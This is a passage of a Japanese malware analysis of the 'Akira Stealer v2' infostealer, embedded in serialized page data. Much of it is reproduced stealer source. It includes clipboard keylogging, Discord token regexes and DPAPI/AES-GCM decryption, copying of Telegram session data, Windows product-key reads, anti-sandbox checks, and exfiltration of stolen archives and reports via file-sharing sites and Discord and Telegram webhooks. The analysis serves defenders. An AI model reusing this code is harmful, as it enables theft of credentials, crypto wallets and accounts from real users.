'enter':\n",[1707,8391,8392],{"class":1709,"line":5058},[1707,8393,8394],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1707,8396,8397],{"class":1709,"line":5064},[1707,8398,8399],{},"                send_to_webhook(data)\n",[1707,8401,8402],{"class":1709,"line":5070},[1707,8403,8404],{},"                self.buf = \"\"\n",[1707,8406,8407],{"class":1709,"line":5076},[1707,8408,8409],{},"            else:\n",[1707,8411,8412],{"class":1709,"line":5082},[1707,8413,8414],{},"                self.buf += event.name\n",[631,8416,8417,8423],{},[634,8418,8419,8422],{},[567,8420,8421],{},"トリガーのリスト",": 「MetaMask」「Phantom」「Atomic Wallet」などを含むウィンドウタイトル。",[634,8424,8425,8428],{},[567,8426,8427],{},"クリップボード",": コピーされたシードや秘密鍵を捕捉します。",[889,8430,8432],{"id":8431},"_786-パッケージングと窃取","7.8.6 パッケージングと窃取",[526,8434,895],{},[526,8436,8437],{},"ブラウザーデータ、認証情報、ウォレット情報、トークンを収集した後、Akiraは戦利品を高度に自動化されたステルスな方法で統合し窃取します。この段階は感染チェーンの最終ステップにあたり、信頼性とフォレンジック上の痕跡の最小化に最適化されています。まず、収集したすべてのデータ（ブラウザーのダンプ、ログ、キーロギングで得たウォレット情報を含む）がZIPアーカイブに圧縮されます。これにより、データセット全体を1つのペイロードとして転送できます。次にアーカイブは、可用性に応じてGoFile、File.io、Oshi.atといった複数の公開ファイル共有サービスにアップロードされます。これらのプラットフォームは匿名の一時的なホスティングを提供し、企業のファイアウォールやレピュテーションベースのブロックを回避するためによく使われます。同時に、構造化されたレポートが生成され、DiscordまたはTelegramのWebhook経由で攻撃者に送られます。そこには要約統計（見つかったウォレットの数、有効だったトークンの数）と、窃取したデータへの直接リンクが含まれます。これにより攻撃者は、アーカイブを開かずとも標的の価値をすばやく把握できます。",[526,8439,8440],{},"最後に、マルウェアは一時フォルダーとアーカイブをディスクから削除し、ローカルのフォレンジック証拠を事実上取り除きます。防御側が感染に気づくころには、データはすでに消えており、多くの場合復元できません。",[616,8442,8444],{"className":4512,"code":8443,"language":4514,"meta":530,"style":530},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[578,8445,8446,8451,8456,8461,8466,8471,8476,8481,8486,8491,8496,8501,8506,8511,8516,8520,8525,8530],{"__ignoreMap":530},[1707,8447,8448],{"class":1709,"line":1710},[1707,8449,8450],{},"# 1) ZIP everything (including Wallets folder)\n",[1707,8452,8453],{"class":1709,"line":531},[1707,8454,8455],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1707,8457,8458],{"class":1709,"line":2090},[1707,8459,8460],{},"# 2) Attempt upload to primary & fallback services\n",[1707,8462,8463],{"class":1709,"line":2096},[1707,8464,8465],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1707,8467,8468],{"class":1709,"line":2419},[1707,8469,8470],{},"# 3) Report summary\n",[1707,8472,8473],{"class":1709,"line":2425},[1707,8474,8475],{},"embed = {\n",[1707,8477,8478],{"class":1709,"line":3077},[1707,8479,8480],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1707,8482,8483],{"class":1709,"line":3872},[1707,8484,8485],{},"    \"fields\": [\n",[1707,8487,8488],{"class":1709,"line":3878},[1707,8489,8490],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1707,8492,8493],{"class":1709,"line":4125},[1707,8494,8495],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1707,8497,8498],{"class":1709,"line":5046},[1707,8499,8500],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1707,8502,8503],{"class":1709,"line":5052},[1707,8504,8505],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1707,8507,8508],{"class":1709,"line":5058},[1707,8509,8510],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1707,8512,8513],{"class":1709,"line":5064},[1707,8514,8515],{},"    ]\n",[1707,8517,8518],{"class":1709,"line":5070},[1707,8519,2428],{},[1707,8521,8522],{"class":1709,"line":5076},[1707,8523,8524],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1707,8526,8527],{"class":1709,"line":5082},[1707,8528,8529],{},"# 4) Cleanup local folder & ZIP\n",[1707,8531,8532],{"class":1709,"line":5088},[1707,8533,7715],{},[741,8535,8537,8538,2039],{"id":8536},"_79-discordとtelegramのトークン窃取クラス-discord","7.9. DiscordとTelegramのトークン窃取（クラス: ",[578,8539,1346],{},[526,8541,747],{},[526,8543,8544,8545,8547],{},"Akira Stealer v2の ",[567,8546,1346],{}," クラスは、Discordの認可トークンとTelegramのセッションデータの双方を収集するために、高度に並列化された多段階の処理を実行します。以下では、正確なコード参照と具体例を交えて各コンポーネントを分解します。",[889,8549,8551],{"id":8550},"_791-初期化とパスの列挙","7.9.1 初期化とパスの列挙",[526,8553,895],{},[526,8555,8556],{},"インスタンス化されると、コンストラクターは2組の標的パスを構築します。",[616,8558,8560],{"className":4512,"code":8559,"language":4514,"meta":530,"style":530},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[578,8561,8562,8567,8572,8577,8582,8586,8590,8594,8599,8604,8609,8614,8618],{"__ignoreMap":530},[1707,8563,8564],{"class":1709,"line":1710},[1707,8565,8566],{},"# Discord client LevelDB directories\n",[1707,8568,8569],{"class":1709,"line":531},[1707,8570,8571],{},"discord_paths = [\n",[1707,8573,8574],{"class":1709,"line":2090},[1707,8575,8576],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1707,8578,8579],{"class":1709,"line":2096},[1707,8580,8581],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1707,8583,8584],{"class":1709,"line":2419},[1707,8585,3859],{},[1707,8587,8588],{"class":1709,"line":2425},[1707,8589,7939],{},[1707,8591,8592],{"class":1709,"line":3077},[1707,8593,3869],{"emptyLinePlaceholder":325},[1707,8595,8596],{"class":1709,"line":3872},[1707,8597,8598],{},"# Chromium-based browser LevelDB directories\n",[1707,8600,8601],{"class":1709,"line":3878},[1707,8602,8603],{},"browserPaths = [\n",[1707,8605,8606],{"class":1709,"line":4125},[1707,8607,8608],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1707,8610,8611],{"class":1709,"line":5046},[1707,8612,8613],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1707,8615,8616],{"class":1709,"line":5052},[1707,8617,3859],{},[1707,8619,8620],{"class":1709,"line":5058},[1707,8621,7939],{},[631,8623,8624,8634],{},[634,8625,8626,8629,8630,8633],{},[567,8627,8628],{},"Discordのパス"," は、",[578,8631,8632],{},"%APPDATA%"," 配下の公式・非公式のDiscordクライアントを標的にします。",[634,8635,8636,8639],{},[567,8637,8638],{},"ブラウザーのパス"," は、人気のブラウザーのユーザーデータフォルダーを、ローカルストレージや拡張機能のサブフォルダーを含めて網羅します。",[526,8641,8642],{},"各エントリに対してスレッドが起動されます。",[616,8644,8646],{"className":4512,"code":8645,"language":4514,"meta":530,"style":530},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[578,8647,8648,8653,8658,8663,8668,8673],{"__ignoreMap":530},[1707,8649,8650],{"class":1709,"line":1710},[1707,8651,8652],{},"for patt in browserPaths:\n",[1707,8654,8655],{"class":1709,"line":531},[1707,8656,8657],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1707,8659,8660],{"class":1709,"line":2090},[1707,8661,8662],{},"    t.start()\n",[1707,8664,8665],{"class":1709,"line":2096},[1707,8666,8667],{},"for patt in discord_paths:\n",[1707,8669,8670],{"class":1709,"line":2419},[1707,8671,8672],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1707,8674,8675],{"class":1709,"line":2425},[1707,8676,8662],{},[526,8678,8679],{},"このスレッドモデルはI/Oスループットを最大化し、数十のディレクトリを同時に調べます。",[889,8681,8683],{"id":8682},"_792-トークン抽出のロジック","7.9.2 トークン抽出のロジック",[526,8685,895],{},[526,8687,8688],{},[567,8689,8690],{},"ブラウザーからの平文トークンの抜き取り",[526,8692,8693,8696,8697,8700,8701,8704],{},[578,8694,8695],{},"get_btoken(path, arg)"," は各LevelDBフォルダーへ移動し、",[578,8698,8699],{},".log"," ファイルと ",[578,8702,8703],{},".ldb"," ファイルを調べます。",[616,8706,8708],{"className":4512,"code":8707,"language":4514,"meta":530,"style":530},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[578,8709,8710,8715,8720,8725,8730,8735,8740,8745],{"__ignoreMap":530},[1707,8711,8712],{"class":1709,"line":1710},[1707,8713,8714],{},"for file in os.listdir(path + arg):\n",[1707,8716,8717],{"class":1709,"line":531},[1707,8718,8719],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1707,8721,8722],{"class":1709,"line":2090},[1707,8723,8724],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1707,8726,8727],{"class":1709,"line":2096},[1707,8728,8729],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1707,8731,8732],{"class":1709,"line":2419},[1707,8733,8734],{},"                tokens = re.findall(regex, line)\n",[1707,8736,8737],{"class":1709,"line":2425},[1707,8738,8739],{},"                for token in tokens:\n",[1707,8741,8742],{"class":1709,"line":3077},[1707,8743,8744],{},"                    self.tokens.append(token)\n",[1707,8746,8747],{"class":1709,"line":3872},[1707,8748,8749],{},"                    self.cehckToken(token)\n",[631,8751,8752,8761,8769],{},[634,8753,8754,8760],{},[567,8755,8756,8757],{},"正規表現 ",[578,8758,8759],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," は標準的なDiscordトークンに一致します。",[634,8762,8763,8768],{},[567,8764,8756,8765],{},[578,8766,8767],{},"mfa\\.[\\w-]{80,95}"," はMFAトークンを捕捉します。",[634,8770,8771,8772,8775],{},"重複排除は暗黙的です。トークンは検証の前に ",[578,8773,8774],{},"self.tokens"," に格納されます。",[526,8777,8778],{},[567,8779,8780],{},"Discordクライアント内の暗号化トークンの復号",[526,8782,8783,8784,8786,8787,8789,8790,8793],{},"Discordのクライアントは、Local Storageのエントリを ",[578,8785,6515],{}," または ",[578,8788,6519],{}," を接頭辞としてDPAPIで暗号化します。",[578,8791,8792],{},"get_discord(path, arg)"," がこれを扱います。",[616,8795,8797],{"className":4512,"code":8796,"language":4514,"meta":530,"style":530},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[578,8798,8799,8804,8809,8813,8818,8823,8827,8832,8836,8840,8845,8850,8855,8860,8865],{"__ignoreMap":530},[1707,8800,8801],{"class":1709,"line":1710},[1707,8802,8803],{},"# Read Local State to obtain encrypted master key\n",[1707,8805,8806],{"class":1709,"line":531},[1707,8807,8808],{},"with open(path + \"/Local State\", 'r') as f:\n",[1707,8810,8811],{"class":1709,"line":2090},[1707,8812,7115],{},[1707,8814,8815],{"class":1709,"line":2096},[1707,8816,8817],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1707,8819,8820],{"class":1709,"line":2419},[1707,8821,8822],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1707,8824,8825],{"class":1709,"line":2425},[1707,8826,3869],{"emptyLinePlaceholder":325},[1707,8828,8829],{"class":1709,"line":3077},[1707,8830,8831],{},"# Iterate LevelDB files for Base64 payloads\n",[1707,8833,8834],{"class":1709,"line":3872},[1707,8835,8714],{},[1707,8837,8838],{"class":1709,"line":3878},[1707,8839,8719],{},[1707,8841,8842],{"class":1709,"line":4125},[1707,8843,8844],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1707,8846,8847],{"class":1709,"line":5046},[1707,8848,8849],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1707,8851,8852],{"class":1709,"line":5052},[1707,8853,8854],{},"                ciphertext = b64decode(token_part)\n",[1707,8856,8857],{"class":1709,"line":5058},[1707,8858,8859],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1707,8861,8862],{"class":1709,"line":5064},[1707,8863,8864],{},"                self.tokens.append(token)\n",[1707,8866,8867],{"class":1709,"line":5070},[1707,8868,8869],{},"                self.cehckToken(token)\n",[631,8871,8872,8881],{},[634,8873,8874,8877,8878,8880],{},[567,8875,8876],{},"マスターキーの復元",": 5バイトのDPAPIヘッダーを取り除き、",[578,8879,7182],{},"（Windows DPAPIをラップ）を呼び出してAES-GCM鍵を復号します。",[634,8882,8883,8886,8887,8890,8891,8894,8895],{},[567,8884,8885],{},"ペイロードの解析",": トークンには ",[578,8888,8889],{},"dQw4w9WgXcQ:","（攻撃者が選んだマーカー）が接頭辞として付いています。Base64デコードの後、",[578,8892,8893],{},"decrypt_value()"," がIVと暗号文を分離します。",[616,8896,8898],{"className":4512,"code":8897,"language":4514,"meta":530,"style":530},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[578,8899,8900,8905,8910,8915,8920],{"__ignoreMap":530},[1707,8901,8902],{"class":1709,"line":1710},[1707,8903,8904],{},"def decrypt\\_value(buff, master\\_key):\n",[1707,8906,8907],{"class":1709,"line":531},[1707,8908,8909],{},"iv = buff\\[3:15]\n",[1707,8911,8912],{"class":1709,"line":2090},[1707,8913,8914],{},"payload = buff\\[15:]\n",[1707,8916,8917],{"class":1709,"line":2096},[1707,8918,8919],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1707,8921,8922],{"class":1709,"line":2419},[1707,8923,8924],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[889,8926,8928],{"id":8927},"_793-トークンの検証と窃取","7.9.3 トークンの検証と窃取",[526,8930,895],{},[526,8932,8933],{},"抽出された各トークンは、ライブのAPI呼び出しで検証されます。",[616,8935,8938],{"className":8936,"code":8937,"language":621},[619],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[578,8939,8937],{"__ignoreMap":530},[631,8941,8942],{},[634,8943,8944,647,8947,8950,8951,8954,8955],{},[567,8945,8946],{},"成功時",[578,8948,8949],{},"cehckToken()"," はTelegram（",[578,8952,8953],{},"useTg=True","）で送るかDiscord Webhookで送るかを判断します。",[616,8956,8958],{"className":4512,"code":8957,"language":4514,"meta":530,"style":530},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[578,8959,8960,8965,8970,8975],{"__ignoreMap":530},[1707,8961,8962],{"class":1709,"line":1710},[1707,8963,8964],{},"if useTg:\n",[1707,8966,8967],{"class":1709,"line":531},[1707,8968,8969],{},"self.sendTokenTg(token)\n",[1707,8971,8972],{"class":1709,"line":2090},[1707,8973,8974],{},"else:\n",[1707,8976,8977],{"class":1709,"line":2096},[1707,8978,8979],{},"self.send\\_embed(token)\n",[631,8981,8982],{},[634,8983,8984,8989],{},[567,8985,8986],{},[578,8987,8988],{},"send_embed"," は、次のフィールドを使い、ユーザーのメタデータ（ユーザー名、ディスクリミネーター、メールアドレス、Nitroの状態、請求情報）を含むリッチなDiscordエンベッドを組み立てます。",[616,8991,8994],{"className":8992,"code":8993,"language":621},[619],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[578,8995,8993],{"__ignoreMap":530},[631,8997,8998],{},[634,8999,9000,9005],{},[567,9001,9002],{},[578,9003,9004],{},"sendTokenTg"," は、Telegram API経由でプレーンテキストの要約を送ります。",[889,9007,9009],{"id":9008},"_794-telegramセッションの収集","7.9.4 Telegramセッションの収集",[526,9011,895],{},[526,9013,9014],{},"Discordトークンにとどまらず、スティーラーはTelegram Desktopのセッションも収集します。",[616,9016,9018],{"className":4512,"code":9017,"language":4514,"meta":530,"style":530},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[578,9019,9020,9024,9029,9034,9039],{"__ignoreMap":530},[1707,9021,9022],{"class":1709,"line":1710},[1707,9023,4998],{},[1707,9025,9026],{"class":1709,"line":531},[1707,9027,9028],{},"def steal_telegram():\n",[1707,9030,9031],{"class":1709,"line":2090},[1707,9032,9033],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1707,9035,9036],{"class":1709,"line":2096},[1707,9037,9038],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1707,9040,9041],{"class":1709,"line":2419},[1707,9042,9043],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[631,9045,9046,9052,9061],{},[634,9047,9048,9051],{},[567,9049,9050],{},"プロセスの終了",": ファイルロックが解放されるようにします。",[634,9053,9054,9057,9058,9060],{},[567,9055,9056],{},"再帰的なコピー",": ユーザーのセッション、連絡先、キャッシュされたメッセージを含む ",[578,9059,8292],{}," フォルダーを窃取します。",[634,9062,9063,9066,9067,9070],{},[567,9064,9065],{},"窃取",": 盗んだフォルダーはZIP化され、",[578,9068,9069],{},"sendFilesTG()"," 経由でアップロードされ、ダウンロードリンクがTelegramメッセージに埋め込まれます。",[526,9072,9073,9074,9076],{},"Akira Stealerの ",[578,9075,1346],{}," モジュールは、正規表現による抜き取り、DPAPIに支えられたAES-GCM復号、ライブのAPI検証、そして複数プロトコルにわたる窃取（Webhook + Telegram）を組み合わせ、DiscordとTelegramの両プラットフォームにまたがるシームレスなアカウント乗っ取り機能を実現します。",[741,9078,9080],{"id":9079},"_710-システムプロファイリング","7.10 システムプロファイリング",[526,9082,747],{},[526,9084,9085,9086,9089],{},"Akira Stealer v2は、ホストのメタデータ、環境属性、ネットワークの詳細を集める広範なシステムプロファイリングのフェーズを備えています。この情報は ",[578,9087,9088],{},"Data"," クラスにまとめられ、後に窃取した認証情報とともにパッケージされます。以下では、直接のコード参照とともにプロファイリングのロジックを分解します。",[889,9091,9093,9094,9096],{"id":9092},"_7101-data-クラスの初期化","7.10.1 ",[578,9095,9088],{}," クラスの初期化",[526,9098,895],{},[526,9100,9101,9102,9104],{},"起動時に ",[578,9103,9088],{}," のインスタンスが作成されます。",[616,9106,9108],{"className":4512,"code":9107,"language":4514,"meta":530,"style":530},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[578,9109,9110,9115,9120,9125,9130,9135,9140,9145,9150,9155],{"__ignoreMap":530},[1707,9111,9112],{"class":1709,"line":1710},[1707,9113,9114],{},"class Data:\n",[1707,9116,9117],{"class":1709,"line":531},[1707,9118,9119],{},"    def __init__(self):\n",[1707,9121,9122],{"class":1709,"line":2090},[1707,9123,9124],{},"        self.username = os.getlogin()\n",[1707,9126,9127],{"class":1709,"line":2096},[1707,9128,9129],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1707,9131,9132],{"class":1709,"line":2419},[1707,9133,9134],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1707,9136,9137],{"class":1709,"line":2425},[1707,9138,9139],{},"        ...\n",[1707,9141,9142],{"class":1709,"line":3077},[1707,9143,9144],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1707,9146,9147],{"class":1709,"line":3872},[1707,9148,9149],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1707,9151,9152],{"class":1709,"line":3878},[1707,9153,9154],{},"        self.country = ipdata.get(\"country\")\n",[1707,9156,9157],{"class":1709,"line":4125},[1707,9158,9159],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[631,9161,9162,9174],{},[634,9163,9164,3278,9167,585,9170,9173],{},[567,9165,9166],{},"ユーザー名とホスト名:",[578,9168,9169],{},"os.getlogin()",[578,9171,9172],{},"COMPUTERNAME"," 環境変数を介して取得します。",[634,9175,9176,3278,9179,9182,9183,9185],{},[567,9177,9178],{},"IPアドレス:",[578,9180,9181],{},"requests.get(\"https://api.ipify.org\")"," で取得し、",[578,9184,5343],{}," で地理位置を特定して国名とISOコードを得ます。",[889,9187,9189],{"id":9188},"_7102-osとハードウェアの列挙","7.10.2 OSとハードウェアの列挙",[526,9191,895],{},[526,9193,9194],{},"Windows Management Instrumentation（WMI）コマンドを使います。",[616,9196,9198],{"className":4512,"code":9197,"language":4514,"meta":530,"style":530},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[578,9199,9200,9205,9210,9215,9220,9225,9230,9235,9240,9245,9250,9255],{"__ignoreMap":530},[1707,9201,9202],{"class":1709,"line":1710},[1707,9203,9204],{},"# Operating System\n",[1707,9206,9207],{"class":1709,"line":531},[1707,9208,9209],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1707,9211,9212],{"class":1709,"line":2090},[1707,9213,9214],{},"# Total Physical Memory\n",[1707,9216,9217],{"class":1709,"line":2096},[1707,9218,9219],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1707,9221,9222],{"class":1709,"line":2419},[1707,9223,9224],{},"# BIOS UUID\n",[1707,9226,9227],{"class":1709,"line":2425},[1707,9228,9229],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1707,9231,9232],{"class":1709,"line":3077},[1707,9233,9234],{},"# CPU Identifier\n",[1707,9236,9237],{"class":1709,"line":3872},[1707,9238,9239],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1707,9241,9242],{"class":1709,"line":3878},[1707,9243,9244],{},"# GPU Name\n",[1707,9246,9247],{"class":1709,"line":4125},[1707,9248,9249],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1707,9251,9252],{"class":1709,"line":5046},[1707,9253,9254],{},"# Windows Product Key\n",[1707,9256,9257],{"class":1709,"line":5052},[1707,9258,9259],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[526,9261,9262,9263,9266],{},"結果は人間が読める文字列に解析され（",[578,9264,9265],{},"strip()","、インデックス操作）、次のように連結されます。",[616,9268,9270],{"className":4512,"code":9269,"language":4514,"meta":530,"style":530},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[578,9271,9272,9277,9282,9287,9292,9297,9302],{"__ignoreMap":530},[1707,9273,9274],{"class":1709,"line":1710},[1707,9275,9276],{},"self.system_info = (\n",[1707,9278,9279],{"class":1709,"line":531},[1707,9280,9281],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1707,9283,9284],{"class":1709,"line":2090},[1707,9285,9286],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1707,9288,9289],{"class":1709,"line":2096},[1707,9290,9291],{},"    f\"CPU: {self.cpu}\\n\"\n",[1707,9293,9294],{"class":1709,"line":2419},[1707,9295,9296],{},"    f\"GPU: {self.gpu}\\n\"\n",[1707,9298,9299],{"class":1709,"line":2425},[1707,9300,9301],{},"    f\"Product Key: {self.productKey}\"\n",[1707,9303,9304],{"class":1709,"line":3077},[1707,9305,5264],{},[889,9307,9309],{"id":9308},"_7103-vm検出とアンチサンドボックスのチェック","7.10.3 VM検出とアンチサンドボックスのチェック",[526,9311,895],{},[526,9313,9314,9315,9317],{},"深いプロファイリングの前に、マルウェアは ",[578,9316,4684],{}," を呼び出して仮想化環境や解析環境を検出します。",[616,9319,9321],{"className":4512,"code":9320,"language":4514,"meta":530,"style":530},"if VmProtect.isVM(1):\n    sys.exit()\n",[578,9322,9323,9328],{"__ignoreMap":530},[1707,9324,9325],{"class":1709,"line":1710},[1707,9326,9327],{},"if VmProtect.isVM(1):\n",[1707,9329,9330],{"class":1709,"line":531},[1707,9331,9332],{},"    sys.exit()\n",[526,9334,9335],{},"主なチェックは次のとおりです。",[631,9337,9338,9344,9350,9356],{},[634,9339,9340,9343],{},[567,9341,9342],{},"レジストリキーとドライバーの記述子",": 仮想化に関連するレジストリエントリを照会します。",[634,9345,9346,9349],{},[567,9347,9348],{},"ブラックリスト対象のUUIDとコンピューター名",": 既知のVMフィンガープリントと照合します。",[634,9351,9352,9355],{},[567,9353,9354],{},"HTTPシミュレーション",": HTTPSで存在しないドメインへの接続を試みます。",[634,9357,9358,9361,9362,647,9365,647,9368,9371],{},[567,9359,9360],{},"プロセスのブラックリスト",": バックグラウンドスレッドを起こし、",[578,9363,9364],{},"wireshark",[578,9366,9367],{},"ollydbg",[578,9369,9370],{},"ida64"," などのツールを終了させます。",[889,9373,9375],{"id":9374},"_7104-パッケージングと送信","7.10.4 パッケージングと送信",[526,9377,895],{},[526,9379,9380,9381,9384],{},"収集した ",[578,9382,9383],{},"system_info","、IP、国旗は、Webhookペイロードのヘッダーに埋め込まれます。",[616,9386,9388],{"className":4512,"code":9387,"language":4514,"meta":530,"style":530},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[578,9389,9390,9395,9400,9405,9410,9415,9420,9424],{"__ignoreMap":530},[1707,9391,9392],{"class":1709,"line":1710},[1707,9393,9394],{},"webhook_payload = 